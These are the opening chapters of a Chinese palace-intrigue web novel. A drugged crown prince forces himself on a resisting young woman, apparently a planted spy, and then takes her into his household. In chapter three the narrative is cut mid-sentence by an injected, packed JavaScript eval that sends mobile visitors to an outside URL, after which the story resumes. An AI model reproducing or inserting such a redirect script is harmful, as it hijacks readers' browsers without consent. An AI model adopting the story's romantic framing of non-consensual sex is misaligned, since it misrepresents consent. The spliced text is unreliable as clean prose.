《细作日常》 1. 第一章 “殿下当真要亲自进去?这等小事,不若交给奴才们下去办好了”。 李福半弓着腰站一男子身后,眼下正值冬日,天空洋洋洒洒落着雪,脚踩在雪地上发出嘎吱的声响。他劝得口干舌燥,额头汗珠蹦落,肥胖臃肿的身躯亦步亦趋跟着。 男子斜睨他:“你若不想去可以在外面候着”。 “这这这,哪能呢!老奴怎能让殿下一人处于危险之中?到时候娘娘问起来,老奴万死难辞其咎!”李福说得捶胸顿挫,急得表一番忠心,“老奴生是殿下的人,死是殿下的鬼,奴才的使命就是效忠殿下的,殿下……” 李琤转头,锐利的眼神扫过来,李福吓得身躯一震,还未表完的忠心在嘴边里反复滚了几遭,终于被了咽下去。 “那就走吧,在外面莫喊孤殿下”,冷冷丢下这句话,便抬脚往丰乐楼走去。 李福无可奈何,只能在后面摇头叹息跟上。 丰乐楼建在京都西南,左右坊市大多住着的是平民百姓,百姓收入有限,按理来说酒楼选此地,不出几月便会面临生意做不下去而倒闭的风险。 事实却出人意料,丰乐楼名声愈传愈广,不少达官贵人皆慕名而来,没过多久便跻身到了前列,把多少经营百年的酒楼都比下去。 据传,此地美酒香醇,美人窈窕,只要喝上一口便让人飘飘欲仙,把俗事烦恼都忘却脑后。 这些李琤都不甚在意,一国太子不会特意关注小小的酒楼。只因去年冬至祀,皇帝遵照礼制携众臣僚前往城南圆丘祭拜主冬至的玄冥神。谁知前朝逆党早在圆丘埋下炸药,就等着皇帝一行人到来。 随着天地间一声巨响,圆丘在火药的袭击下成了废墟。幸而皇帝当时还未上祭坛,侥幸躲过一劫。但帝王年轻时常年南征北战,身体早落了一身伤,因而在这起爆炸事件刺激下大病一场。 逆党未除,皇太子李琤奉命追查此次谋逆之事,暗卫探子查了一个多月,最后目标锁定在城南的丰乐楼。为着不打草惊蛇,李琤只吩咐暗卫守在外面,自己带着李福进去。 李福心里苦啊,伺候殿下身边多年,他知晓殿下表面看着一派霁月清风的温润模样,实则一旦决定事情,十头牛也拉不回来。 但愿此次莫要出什么幺蛾子,老太监迈着小碎步跟在后面,口中念念有词诵着佛号。 也可能是他太过惊弓之鸟,李福缓了一口气,殿下有武功在身,外面又潜伏着身手精湛的青龙卫。如此万全的准备,应当不会有事的。 李琤一身青衫斓袍,头发盘起只用一根玉簪固定,腰间一玲珑玉佩随着他迈开的四方步泠泠作响。 他脚步停顿,不着痕迹打量了下酒楼。丰乐楼三层高,飞檐斗拱,占地百来丈,檐角悬挂着光亮鲜艳的金色铜铃,在寒风呼啸下发出叮铃声响。 大雪纷飞,给酒楼镀上几丝阴森晦暗的光芒。正走进去,茶楼的小二就迎上来,“客官,请问要点什么?”小二约十来岁出头的年纪,长得清瘦又矮小,声音也略显中气不足。 跨入堂内,里面紫檀木做成的八仙桌有规律摆放着,随处可见的火炉上燃着上好的金丝银炭,甫一进去便感觉暖风拂面,温暖如春。 李琤轻轻掸去身上的雪,上前一步环视四周。正堂满满当当坐着许多客人,喧闹的嘈杂声喧天震地,有些在饮酒畅谈,有些抱着怀中女子嬉笑玩闹。有几个甚至是李琤熟悉的面孔。 二楼雅间,透过多子多福的苏绣屏风,隐约可闻上面淫靡的丝竹声,男男女女的调戏声。李琤感觉这里空气实在浑浊,眉峰微微蹙起。 不远处的戏台上还有戏子在咿咿呀呀唱着。 “残阳如血,宫灯寂寂照枯冢” “凄凄切切,国运轮转何处去?” 李琤听着这些唱词,神色愈发森冷。 见一仪态不凡的男子进来,喧闹的大堂顿时安静下来,人人仿若被施了定身法,默契感十足看向这边。虽李琤戴了人皮面具,还特意换了一身普通文人士子常穿的斓袍,可天生上位者气息依旧难以掩盖。 收回目光,他随意寻处空地方落座,修长的骨指有一下没一下轻敲着桌面:“听闻贵店的石冻春不错,你去给我上一壶来”。 “好嘞,石冻春还需热热再端上来,客官请耐心等待片刻”,小二手里的白帕摔在肩上,弯腰退下。 转身一刹那,李琤瞥见他袖口微微露出的鞭子抽打皮肉留下的痕迹。手里动作微不可察顿了下。 瞧见李福臃肿的身躯还在旁边杵着,他往后靠了些,侧首看向旁人,声音淡漠:“怎么不坐?” 虽殿下换了一副皮面,李福依旧感受到紧迫的压力,他刚想言一番主子与奴才身份地位天壤之别的客气话,却听到男人极淡的质问“嗯?” 听上去只是单纯的疑问词,李福却知道,这位主子爷是说一不二的性格,再推脱下去,估摸着殿下真要生气了。 于是哆嗦着腿缓缓蹲身,肥胖的身躯只敢轻轻挨到椅子,贴了前面一点点。远瞧着不像坐椅子,倒像在椅子前扎马步似的。 此刻李福整个人如春风拂面,殿下虽外表看着冷,其实是个十足热心肠的,知道他这把老骨头站不久,特地让他坐椅子上。遇上这么好的主子真是他三生的造化。 李琤不知道短短一刻钟,老太监已经脑补出这么多戏码。只单纯觉得他肥大的身躯碍眼罢了。 他呷着伙计端上来的石冻春,右手搭在圈椅扶手上,神色慵懒。 正堂其他人似乎也觉得这边的氛围有些奇怪,虽复喧闹起来,却不似方才那般放肆,人人都收敛了些,生怕惊扰到什么。只是眼神时不时飘过来落在面容清隽的男子身上。 李琤恍若不觉,依旧不紧不慢喝着热酒。他探视了一圈,并未发现这酒楼明显异常。 酒杯轻轻被人放于桌上,他招呼伙计,“贵店的茅厕在哪里?”神情慵懒,却有拒人于千里之外的气势。 小二指了个方向,李琤谢过就往前走了。李福还想跟上来,被他一记眼神制止。 越往里走光线越暗,他侧头瞧了瞧身后,折身上楼。走在雅间外,透过重重叠叠的门板屏风,厢房依旧时不时传来男女糜艳的交缠声,清晰可闻。 这在大晋并不稀奇,许多酒楼表面上经营着酒食一道,背地里也是权贵逍遥的富贵窟。半商半娼,早在前朝便是特色。因而一些家里厉害的妇人,知道酒楼的门道,连酒也不让家里汉子去吃。 走到转口,前面是一巨大的空地,周围并排放着铜镜,窗外寒风呼啸,烛火幽暗的灯笼散发着青黄色,好似坟头累累白骨上的鬼火。李琤顿时握紧手中剑柄。 走进一瞧,都是些普通的铜镜,只是这样直愣愣靠在墙根,看着有几分可怖。转口楼梯间里头黑魆魆,隐约有烛光闪烁。旁边是积灰的万寿纹木窗棂,窗棂上面压着东西,在窗户吹进来的冷风下发出沙沙声。 寒风一吹,顿时感觉背后发冷。 李琤走进细瞧,是三张早已褪色的黄符,被人用小石子压在窗棂前,看着十分诡异。朱砂符箓用金漆勾边,上面摹画着奇怪的铭文,他仔细端详,发现是梁朝雕刻在青铜器上专作祭祀的铭文。 这样看来,丰乐楼果真跟前朝逆党有着千丝万缕联系。 缕缕幽香袭来,时间仿佛静止不动,此地静得没一丝声音,不远处男女的痴缠也莫名消失了。 周遭仿佛弥漫着雾气,李琤透窗可望见檐角上的铜铃,依稀在叮铃作响,似乎带着某些规律。 身后踏踏的声音传来,他神色锐利,握紧手中剑柄猛然转身,发现是一身着灰色布衫的妙龄女子笑着同他招手:“官人,此地不宜久留,你快快随奴出去吧”。 李琤刚想细问,那女子身影一闪突然没了踪迹。楼梯间里面在燃着烛火,好似供奉着神像。他走近神龛,奇怪的是,神龛外面爬满蜘蛛网,落着斑驳的旧痕,可里面贡品却新鲜,烛火也是刚点上去的。 神龛供奉着的不是神像,却是一尊人像,人像前香炉上的三根香尚在燃烧着,烟气袅袅。怪道方才闻到一股香味儿,原是这香炉的香闹的。李琤担心有迷香一类,调动内力屏息凝神。 他伸手进去把神龛旁压着的一沓纸拿出来,跟刚才窗棂上的符纸一模一样。不同的是,这符纸看着颜色极新鲜,显然是刚放上不久。 他往后翻着,哒一声,外面烛火最亮的那两盏灯笼灭了,天色阴暗,他又处角落深处,唯一能照明的只有神龛前的烛火。 翻到末尾,看到上面的字时,浑身不由一震。腰间的剑柄几乎握不住。 “隐太子琰光,天命之主”,这几个大字下面记载的赫然是前朝太子琰光的生平事迹。李琤呼吸紧促,手掌传来一股黏腻感,他低头去看,发现不知何时双手已汩汩流出血迹,把符纸都染红了,可自己却感受不到半分疼痛。 “哈哈哈哈”,寂静环境之下,一阵银铃般的笑声响起,有人喃喃低语,似乎处在极端痛苦之下: “隐太子琰光,天命之主!” “血月成河,腐肉生蛆……” “怨鬼寻仇,黄泉作伴……” 声音萦绕不绝,在寂静的二楼回荡。 李琤脑子阵阵发晕,心道不妙,目光炯炯握紧腰间剑柄大步迈出去。重新绕到漆黑幽深的过道,方才男女的痴缠早已消失。 每间房门都敞开着,木门在风中发出诡异的声响,空气弥漫着一股血腥味儿。在外面穿梭而过,他依旧瞥见房内蔓延的殷红血迹,几乎蔓延到自己脚下。 快步往外走,身后依旧能听到苍老又阴森的声音“隐太子琰光,天命之主……” 终于准备下楼,他一身斓袍俱被汗液浸湿,半撑在楼梯扶手上喘气。还不等反应过来,不远处传来“嘭”的一声脆响,旋即传来打骂声:“你个娼窝的淫/妇,这点小事都做不好,要你有何用?一头扎河里死算了!” 沉闷的拳打脚踢声,伴随着女子幽噎的抽泣,她不敢哭出声,只护着头颅蜷缩在地。随着时间流逝,打骂声渐渐消散,只剩下女子的抽泣。 李琤察觉自己脑子越来越晕,知道中了贼人奸计,想快步走下楼,谁料刚迈开步子,人就从楼梯翻滚下来。 女子听到动静往这边望过来,见有人从高处滚落也顾不上其他,一瘸一拐跑过来搀扶。 李琤神色朦胧,隐约看到那双熟悉的眼睛,浑身越发燥热难忍,想从地上挣扎起身,却一丝力气也没了。心里只期盼着李福快些赶来。 女子哭得可怜兮兮,整张脸都是肿的,胳膊手腕更是青一块紫一块。她想把人扶 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“公子……”她吃痛低呼,李琤气喘如牛,望着那双灵动又熟悉的眼睛,神情有一瞬间恍惚,似乎忆起什么往事,动作再忍不住。一手放在她腹前,一手拦在她腰后。手掌用力,人便被压在榻上。 “抱歉”,他被情欲逼得眼睛赤红,依旧温和有礼道:“孤会对你负责”。声音准确而掷地有声,没了方才的含糊。语罢再等不住,撕开她身上薄薄的衣衫便动作起来。 她想挣扎桎梏,可软绵绵的小手去推反隐约增加欲拒还迎的意味。 他注意到她被鞭笞留下的交错斑驳伤痕,眼眸闪了闪,似划过几丝不忍,渐渐温柔起来。 梁含章觉得自己快要死了,起起伏伏间,犹如身处晃晃悠悠的小舟,下一秒就要淹没在大海的波涛中。 红烛帐暖,满室香浓…… - 李福在正堂等许久不见殿下动静,心脏突突的跳,也顾不上其他,疾步走到门口,从腰间荷包里翻出一金色蟒纹的哨子吹起来,守在酒楼外的暗卫听到命令,瞬间闪到李福身前。 “殿下估计出事了,快分头去找!”他撂下这句话,肥胖的身躯迈着小碎步往殿下进入的方向跑去。暗卫得到吩咐,旋即分头行动。 这么大阵仗显然吓坏了酒楼其他人,正堂的人被五花大绑捆着不说,二楼雅间里交缠的男男女女面对破门而入的暗卫,纷纷吓得惊叫起来。 李福一边跑一边心里后悔,当初他就该紧随殿下身后,若是殿下出了事,他这小命也不用活了。 老太监是一边寻一边哭,偏偏行动不便,没跑几下就累得气喘吁吁,一不留神还被门槛绊倒,沉闷的噗通一声,东宫的首席太监就这么狼狈摔在地上,一把鼻涕一把泪,捂着脸嘤嘤哭着。 真是造孽啊!殿下真要出了事可怎么办?他……他也要殉主了! 李福瘫在地上,哭的是肝肠寸断。 不知哭了多久,他身子都麻了,想从地上爬起来继续找,青龙卫备身夏常赶到旁边将人扶起来,“殿下找到了!” “在哪?”李福又惊又喜,也顾不上哭,尖细的嗓音扯人袖子焦急问。 夏常眼里浮出几丝尴尬,不好意思挠头,“殿下……现在……兴许不方便……” “嗨呀,你能不能说清楚些?什么叫不方便?殿下没受伤吧,他现在在哪,你们快领着杂家去……” 夏常嘴唇翕动,终究说不出口,只一言不发领着李福过去。 “喏,殿下就在里面”,他指指紧闭着门的雅间,并不打算进去。 李福一颗心可谓上上下下滚了一遍,又焦又燥。如今确切听到消息,恨不得马上回殿下跟前。往后不管殿下再如何驱赶他也不会离开半步了!他心里暗暗想着。 老太监老泪纵横,就要推门进去表忠心。夏常拉住他,“哎,公公先等等,殿下在里面有要紧事,咱们当奴才的不好打扰……”话说得吞吞吐吐。 李福不明所以,扬着糊满风干鼻涕的大圆脸不解问:“这是何意?杂家听不懂……” “嗨呀,公公您虽然没了根,这男女之事也听过的吧,您听听里面的声音,殿下正跟女子欢好,咱们怎敢进去打扰?” 李福大半个身子趴在门板上,听到里面断断续续传来女子抽泣声,娇娇媚媚,如小猫儿轻吟。不禁让人老脸一红。 支起身子,整理下衣冠,尴尬摸摸鼻子道:“嗨呀,这确实……若是杂家不知死活进去,还不知道殿下如何怪罪。算了,就在此处守着吧”。 “对了,让人封死酒楼,不能放任何人出去,再另外派人回东宫请御医。殿下端方清正,断不会做出白日宣/淫的事,定是被人下了药”。李福井井有条吩咐下去,毕竟是太子身边的大太监,关键时刻还是很能派上用场的。 夏常吩咐底下人执行,李福蹲在外面时不时听到里间床板的吱呀声,还有女人受不住的哭吟。啧啧称奇,他伺候殿下身边多年,从未见殿下幸哪个女子,晨间他进殿下寝殿,也数次发现睡榻男子亵衣上染着一滩莫名痕迹,殿下正是血气方刚的年纪,即便如此,依旧没诏幸过女子。 李福清楚殿下孤身多年,心里一直藏着个人,为着这人守身如玉。如今一朝破戒,是找到了当年的女子,还是中了药神志不清? 也不知道这般幸运的到底何许人也。 2. 第二章 李琤神智彻底清醒时,女人正躲在被子里嘤嘤地哭。 她一头青丝凌乱不堪,裸/露出来的肌肤上布满密密麻麻的痕迹,一时竟分不清哪些是之前受到虐待留下,哪些是方才欢好时男人留下。声音又小又娇,脸上挂满泪痕,越看越觉得可怜。 很奇怪,李琤平日对女人没多少耐心,连亲妹妹李洛华经常来东宫他都感到不耐烦,更厌烦女子动不动哭哭啼啼。 可现在,他看着身侧那又娇又弱的女人,心里非但不反感,隐隐觉得可怜可爱。 他侧身想帮她揩去小脸的泪痕,大手尚在半空,他身躯猛然一震,似是幡然醒悟般,难得泄露出温柔的眼眸瞬间被寒冰填满。 他……怎会对一个女人产生这样的情感,还是这样一个身份不明的女人! 脸色一阵青一阵白,梁含章只觉得周围气压越来越低。不知想到什么,他翻身下床捡起地上凌乱的衣衫套上。 待系好腰间的白玉蹀躞带时,手里紧握着利刃的剑柄,望向床上女子的眼眸有一瞬间噬人。 梁含章呆呆望着男人,还打了个哭嗝。 仅仅一瞬间,男人转身离去。 梁含章不爱哭,眼下为了装柔弱整整哭了几个时辰,眼睛都肿完了。瞧着男人穿好衣物冷漠离去,不知为何,她心中陡然升起一股无限的恐慌,寒意从脚底蔓延至四肢百骸。 如果没猜错的话,方才他手握剑柄的森冷模样,对她是萌生了杀心的。 这是为何?难道他识破了自己身份?还是说,堂堂一国太子与一身份低微的女人有了肌肤之亲让他面上无光? 不论是哪一种可能,对梁含章来说都是不利的。她想到刚开始时男人把她压在身下,情意绵绵握着她手许诺“孤会对你负责”,结果一转眼就要把她杀了! 呵,果然男人的话没一句可信的,尤其在床榻上的男人。梁含章垂下眼帘,方才经历一场情事,她瓷白的小脸微微发红,肩膀处的被子滑落,更是露出身上令人脸红心跳的痕迹。 女人肌肤赛雪,如上好的羊脂玉,稍微轻轻一碰便留下痕迹。不过为了逼真引来男人疼惜,她身上被鞭打的痕迹都是实打实的。 看着身上斑驳的伤痕,她眸色愈冷。 - “嘭”的一声门被人从里踹开,李福在外面等得昏昏欲睡,猛然一阵巨响把他从幽会周公的路上拉回来,嘴角的哈喇子还未来得及擦。 弓腰小跑到李琤身边,“殿下,奴才已请了东宫的太医至此,殿下不若让太医瞧瞧身子?” 李琤抬头,王太医果然就在不远处等着。他并未言语,良久摆手吩咐:“回去再说”。 他眼线狭长,斜着看人时那双桃花眼满是骇人的寒意。李福与他对视一眼,随即感到浓浓的杀气,恨不得把头埋到地板。吞吞吐吐:“奴才已命青龙卫严加把守丰乐楼不准任何人出去,殿下您看……” “此地与隐太子牵涉甚广,酒楼里的人一个不落缉拿归案”。李琤冷冷丢下这话准备出去。 “殿下,这……”李福想说丰乐楼毕竟迎八方来客,许多还是朝廷命官或者世家大族的膏粱子弟,这么把人捉拿下狱恐怕影响不好。 转念一想,那帮吃里扒外的东西,食君之禄却跟前朝旧人有勾结,企图匡扶梁国。若是此番殿下处理不当,不给这些人一点下马威,大晋的威仪何在? 只是他刚跟在李琤身后走了几步,突然想起雅间的女子,那毕竟跟殿下有过肌肤之亲,是殿下身边第一个女人,难道也要捉拿下狱? “殿下,里面那女子怎么办?”李福刚说完,就明显感觉殿下周围的气压更低了。他脚步一顿,架着眉峰,眼神似懊悔似恼怒。 他脚尖微挪面向李福,皱眉思索良久缓缓道:“把她接到东宫吧”。虽不知她身份底细如何,总归是他强占了女人。若是转头把人抓到诏狱,对她来说,未免太不公平了些。 “是,奴才晓得”,李福微抬起头,殿下此刻身影逆着光,面色说不上有多好看,微微发皱的斓袍上还沾染着莫名的痕迹。滚动的喉结旁是几道正往外渗血的抓痕,从下颌延伸到交领深处。单看痕迹,是何人留下的不言而喻。 二人又往前走了几步,青龙卫备身夏常单膝下跪抱拳行礼,雄厚有力的粗犷嗓音正汇报着丰乐楼的一切情况。李琤又吩咐了几句旋即出门。 正准备翻身上马时,他皱了皱眉,雪下得越发大了,男人的眉眼隐在纷扬大雪中看不真切,沉吟良久方道:“给她个奉仪的位份吧”。“她”自然是跟殿下燕好的女子。 李福似被针扎屁股般猛然一惊,正想问清楚,男人已打马而去。虽只着素色斓袍,依旧掩饰不住挺拔有力的身躯。 李福望着殿下远去的身影,嘴唇翕动呐呐不敢言,只一双眼睛瞪得浑圆,活见鬼的模样。夏常走过来拍拍他肩膀,“李总管,在这儿发什么呆?殿下可说了屋里那女子如何处置?” 李福好似没听见一般,怔怔愣在原地喃喃“坏了……坏了”。 “什么坏了?” 李福才反应过来,看清来人,他身子挺直扬了扬眉毛得意:“你一个成日舞刀弄枪的人不需要知道”。青龙卫是太子身边的精锐护卫,李福又是太子的贴身大总管,一来二去他跟夏常这个青龙卫备身少不了打交道。 都是为主子干活卖命的,无高低贵贱之分,李福跟夏常虽没有明显的正面冲突,但暗地里较劲是常有的事儿。 譬如现在。李福神气得跟什么似的,夏常冷笑:“爱说不说,你这阉人嘴巴也吐不出象牙来”。说完扬长而去。 “你!”李福气得跺脚刚想控诉,对方已翻身上马,骏马嘶鸣一声,身后尾巴上扬重重甩到李福的脸,他捂着脸嗷叫一声。 一个两个都走了,李福虽气却无可奈何。那位还在雅间床上躺着呢,殿下特地吩咐他处理,显然是对自己更为倚仗。 想到方才殿下的反应,李福嘴角扬起笑意。殿下自成为一人之下万人之上储君,身边从不缺女子,可殿下始终置若罔闻。不论皇后如何催促,就是不上心男女之事。只是神女无情襄王有意,即使殿下无意,单靠他身上的权势和俊美的皮囊,依旧引得无数女子倾心不已。 初初搬到东宫时,底下有不知轻重的宫 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她长得娇小玲珑,而今不过十七,那些个婢女明眼看着年纪都比她年长,叫姐姐也说得过去。换而言之,叫姐姐是为了抬高对方身份,这样才愈显得她不懂规矩软弱可欺。 果不其然,一行婢女听到她傻乎乎喊姐姐,皆忍不住捂嘴笑起来。她们本是在东宫伺候的婢女,被李公公叫出来说伺候未来的奉仪娘娘。 东宫后院从未出现过被殿下临幸的女子,如今莫名来一个奉仪娘娘,即使位份不高,对她们来说都是威胁。 她们只是身份低贱的丫鬟,殿下从未正眼看过她们,但是一个个俨然把殿下当成自己私有物。虽有无数前车之鉴,若是找到机会她们依旧如飞蛾扑火般扑向殿下。 谁叫殿下长相俊美又位高权重呢?不过虽心里爱慕,她们到底不敢明目张胆勾引,只能心里暗暗幻想,毕竟当年东宫的血还未完全消散。 如今莫名冒出一个被殿下幸了的奉仪出来,这叫她们如何坐得住?铆足了劲想来看看这奉仪到底长了怎样一副狐媚子脸。如今一瞧,人美是美了点,但浑身上下都是上不了台面的乡土气息,还傻乎乎冲人喊姐姐。 另一个身着绿衣的女子趾高气扬走上前,扬了扬眉毛道:“既叫一声姐姐,少不了提点你一番。你眼下虽被封为奉仪,不过是殿下身边晓事的玩意儿,可别摆不清自己身份!” “姐姐教训的是,章娘知道了”。梁含章低声下气点头,泫然欲泣。 为首那丫鬟看不下去,厉声喝道:“小青,这是奉仪娘娘,身份地位远在你之上,莫要失了分寸!”转脸换了一副讨好的面孔对梁含章道:“李公公在外面催着呢,娘娘随奴婢们来吧”。 一旁的小青“切”了一声,丝毫没把人放眼里。 梁含章冷眼看着这些趾高气扬的婢女,心中暗道,连小小的婢女都如此不懂规矩,可想而知这东宫内里是多么不堪。一个小小的东宫都管不好,这李琤驭人的本事实在不怎么样。 也好,省得她日后提心吊胆。 3. 第三章 “殿下”,王太医小心把李琤衣袖拉回去,站起身回道:“殿下所中之物为情毒,此毒进入肺腑毁人心智,必须要寻女子燕好才可解决。殿下良宵一度,已没了大碍”。 王太医是皇城太医院的首席御医,年逾古稀依旧精神矍铄,脸上不过细微几道皱纹,身子保养得宜,被打理得干净整洁的美髯随着他说话微微抖动。 “此毒对殿下身子可有影响?”李福在旁问。 王太医摇头,“并无其他影响。不过为稳妥起见,微臣再给殿下开个方子祛除身上余毒”。 李琤坐在圈椅上微微颔首。李福得到吩咐随王太医下去了。 夏常在下首抱拳,声如洪钟,“殿下”。 “查得怎么样?”李琤坐在上首假寐,指骨有一下没一下敲着扶手。 “丰乐楼的掌柜叫梁义,酒楼在一年前开张,本是间无人问津的普通酒楼,后来不知怎的在忠勇侯的宣扬下,酒楼生意越发兴旺,许多人慕名而来尝尝此地的石冻春”。 “属下派人彻查酒楼,发现了他们与梁朝逆党的通信”。夏常说着从怀里将东西掏出来呈上。 李琤随意翻了翻,大多都是些无足轻重或者他们已经探查到的消息,很显然对方似乎料定他会去丰乐楼,特意布置了一张天罗地网等着他上钩。 思及此,他将一沓信件往地上狠狠一掷,浑身上下布满寒冰,“好一个忠勇侯,胆敢勾结前朝逆党,孤看他既不忠也不勇!白白玷污了这封号!” 见殿下发怒,夏常头埋得越发低。 “殿下接下来打算怎么办?” 李琤冷哼一声,往前探了探身子,冷冽的凤眸半眯,“待孤明日禀报父皇再作定夺”。这忠勇侯无论如何留不得了。眼下证据确凿,再没人救得了于家。 说来这其中还有一番缘故在。梁朝戾帝当政时,忠勇侯于施便在东南组建自己势力反对朝廷。当时戾帝手里能臣甚多,隐太子琰光又在朝野素有贤名,亲自带兵前往东南准备灭了于施的势力。 于施见败仗连连,最后无奈只好揪着尾巴乖乖投降。戾帝念其知错能改,并未过多处罚,只褫夺了他手里的兵权,于家的荣宠尤在。 后来戾帝越发骄奢淫逸,不断加重赋税徭役,引得天下百姓不满。 恰巧关中大旱,戾帝非但不赈灾济民,反倒愈加加重盘剥民脂民膏。有压迫就有反抗,最早是太原李氏发兵起义,枪头鸟刚冒头,旋即天下一呼百应。 树倒猢狲散,即使琰光太子贤良有方,依旧阻止不了梁国走向灭亡的步伐。 延庆九年,戾帝被反军攻入皇城乱箭杀死,太子琰光趁乱逃脱,下落不明。李家成了整个中原雄踞一方的势力。 李家的胜利势不可挡,于施审时度势权衡利弊之下率军投奔了李家。当今圣上念其诚心可嘉,特封其为忠勇侯,食邑千户。 如今他过惯了几年逍遥日子,又忍不住与梁朝逆党勾结。夏常实在想不明白,这忠勇侯到底要干什么。戾帝当政的时候反梁,现在改朝换代到了大晋,他又跟梁朝逆党搅在一起。 墙头草都没他摇得厉害。 方伯衡原先在一旁捋着美髯,现在才开口道:“殿下,老臣听闻打算把那女子封为奉仪?” 李琤似乎不喜人提此事,点着圈椅扶手的指头微微顿住,冷眼点头。 “殿下万万不可!”他劝道:“丰乐楼是逆党们联络的地点,奉仪的身份存异。且在老臣看来,您身中情毒遇到奉仪,显然都是在敌人的套路之内,说不定这奉仪就是逆贼准备放在殿下身边的探子,如此一来,此人万万不可留啊!” 方伯衡一番话劝得慷慨激昂。 李琤心底发生动摇,清醒时他也曾有杀她的念头,从他身中情毒到遇见她被打,这些事情一环扣着一环,显而易见是逆贼为他精心设计的阴谋。既如此,那女子又能干净到哪儿去? 只是,李琤心里也清楚,他虽身中情毒,但当时情形自己是有能力逃脱的。可不知为何,看到那对熟悉的眸子就再也走不动脚,任凭自己释放欲望强占了她。 逆贼怎知道他小时候的事?又是从何处寻来的女子? 见太子不言语,方伯衡又继续劝,“殿下和圣上好不容易坐拥江山,如今逆党未除根基不稳,不能因为这等小事而阻碍大晋的国业啊!此女断断不可留!”老臣声嘶力竭,剖出一颗赤诚的肝胆忠心。 李琤觉得他所言在理,垂眸思虑片刻,刚准备点头,脑海中恍惚闪现那女子抱着被子躺在床上可怜巴巴望过来的眼神。又娇又怯,似一根羽毛轻轻扫过他心弦。 当时的情况,她不过好心跑来帮忙,还准备为他寻大夫。他把人压在身下时,女子似乎极不情愿,咬牙哭着试图推开他。男女力量悬殊,她到底没能成功。 这样看来,她又有什么错呢?她在酒楼干着下等的工作,动辄被打被骂,不过一时好心帮忙还被他强占了身子。她心里想必也是极不情愿的吧? 李琤下意识摆弄着腰间的玲珑玉佩,脑海中再次浮现那双眸子时,他斩钉截铁:“一个女子而已,不足为惧,左右放她在后院自生自灭罢了。若是一女子就能窃取江山,那孤这太子也不用当了”。 话音刚落,他放下手中玉佩起身。 看着逐渐远去的挺拔身影,方伯衡叹了口气。夏常劝道:“方大人莫要烦忧,殿下素来端方清正,岂会被一女子裹挟?再者说,殿下不近女色,身边也没个妾室通房。” “先前您不是怀疑殿下身子有问题吗?如今他好容易临幸女子,大人应该为太子高兴才是。属下瞧那女子也是老实无辜的,如此安分的女子放殿下身边,还有什么不放心的?” “殿下素来聪慧过人,咱们做臣下的,应该相信殿下的决定”。 “是极,是极”,方伯衡想通这一遭,笑眯眯捋着胡子踱步,“先前老夫还担心殿下身子是不是有问题,如今看来那些担心纯属多余”。 - 梁含章被迎回东宫时天色已晚,李福弓腰在马车外候着,见人出来忙小心翼翼道:“娘娘,奴才是太子殿下身边的总管,特奉太子之令亲自接娘娘”。 梁含章回想起男人冷酷的眼神,心中打了个寒颤,他会亲自派人来迎她?怎么听怎么不可能。 映入眼帘的是一个四十出头,长相肥圆的太监,着一身紫金四爪银纹吉祥袍,手中的拂尘搁在腰间。衣袍下包裹着的大肚子随着动作一晃一晃,几乎是一瞬间,她想到小时候吃到的南越盛产的仙草膏。 仙草膏通体黑色,其性寒凉,可解溽暑。用手这么轻轻一碰也如李福的肚子般四下晃动,柔软且富有弹性。 与笑得一脸褶皱的胖圆脸对视上,梁含章当下就对这位慈祥的大总管心生好感。 她先前听说太子殿下容貌俊美,几乎是整个京都芳龄女子的春闺梦里人,可今日粗略一看,也就长那样。 一只鼻子一双眼,一张嘴巴一对耳,看着脸白身弱的,虽然不算特别丑,总之实在跟俊美搭不上边。 看来是外人太言过其实了,她心中叹息。本想着在这东宫后院中,时不时看见太子俊美的容颜,这桩买卖还不算太亏。如今发现太子长这个模样,实在大倒胃口。 一想到往后要跟这鬼迷日眼又喜怒无常的男人打交道,想想心里就堵得慌。 李福见人站在原地发愣,继续提醒道:“娘娘?” 梁含章才反应过来,不好意思低下头看着鞋尖,细声细气道:“我……我看这地方这么大,一时看呆了。青天老爷莫怪”。 一声青天大老爷险些让李福笑出声来,他一个阉人因为殿下得势,可外边多少人背地里骂他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350267|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了命根子的贱玩意儿,啖狗屎的死狗獠,田舍汉等等。没想到在娘娘这里倒得到一声尊称。虽然这称呼实在有些令人啼笑皆非。 老太监感动得老泪纵横,多好的姑娘,不愧是被他们殿下看中的! 小青在旁边嗤笑出声,“果真是下贱坯子没见识,不过一阉人罢了,还称什么青天大老爷?说出去也不怕人笑掉大牙!” “住嘴!”紫衣女子提醒她。小青看到李福铁青着脸,这才意识到自己说错了话。 李福神色未变,只冷笑一声,“殿下一直住在前院,多年不管后院之事,倒越发让你们认不清自己地位了。” 他转头吩咐,“这贱婢当众言语侮辱娘娘,把人拖下去杖三十大板,若死了还则罢了,不死就把人发卖出去!” 侍卫得到吩咐立即把人拖下去。黑暗中只留下小青的惨叫求饶声:“公公,奴婢不是故意的!公公饶了奴婢吧!”声音越传越远,直到消失在层层叠叠的幽深宫墙中。 经此一事,谁也不敢怠慢了梁含章。李福见人呆呆站在雪地,小脸冻得通红,显然是被方才一事吓到的样子。 忙弓腰作势掌嘴:“哎唷您瞧瞧奴才,竟越过娘娘把人罚了去。娘娘,奴才行事不周,娘娘要打要罚奴才都不敢言语……” 梁含章看着他扬起胖乎乎的白手打自己,臃肿的身躯险些在雪地绊倒,心里不由得发笑。 面上依旧装作害怕受惊的模样阻止他,“公公这是什么话,我方才无礼冒犯公公,公公不生我气倒阿弥陀佛了”。 眼下天寒地冻实在不是叙话的好地方,李福忙迎着人往后院走去,一边走一边为她介绍东宫景貌。终于走到一处院子前,他用拂尘指了指牌匾道: “娘娘,此地名芷兰居,往后便是娘娘栖身的宫殿了”。 梁含章看着雄伟高大的建筑,毫不掩饰眼底的震惊,“这院子这么大,单是给我一人住的?” 李福笑呵呵答:“娘娘身为奉仪,独住一个院子是合乎礼制的”。又朝旁边招手,很快上来四个统一蓝白色宫服的女子,“这四个丫鬟往后是伺候娘娘起居的,快给娘娘行礼”。 四个丫鬟分别叫春分夏至,秋分冬至,名字好记,长相也各不相同,梁含章略微扫了几眼就记在心上了。 